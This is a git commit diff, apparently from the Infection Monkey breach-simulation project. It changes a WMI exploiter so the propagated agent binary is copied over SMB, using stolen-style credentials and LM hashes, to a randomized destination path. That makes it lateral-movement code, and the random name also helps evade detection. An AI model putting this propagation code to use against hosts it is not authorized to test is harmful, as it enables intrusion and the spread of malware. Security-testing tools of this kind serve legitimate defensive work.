Agent: Change WMI exploiter to use random agent name

This commit is contained in:
vakaris_zilius 2022-03-24 08:23:10 +00:00 committed by Mike Salvatore
parent 8ad31593b1
commit 087027b20c
1 changed files with 4 additions and 1 deletions

View File

@ -6,6 +6,7 @@ import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPCException
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dest_path
from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
@ -74,10 +75,12 @@ class WmiExploiter(HostExploiter):
self._set_interrupted() self._set_interrupted()
return self.exploit_result return self.exploit_result
target_path = get_agent_dest_path(self.host, self.options)
remote_full_path = SmbTools.copy_file( remote_full_path = SmbTools.copy_file(
self.host, self.host,
downloaded_agent, downloaded_agent,
self.options["dropper_target_path_win_64"], target_path,
user, user,
password, password,
lm_hash, lm_hash,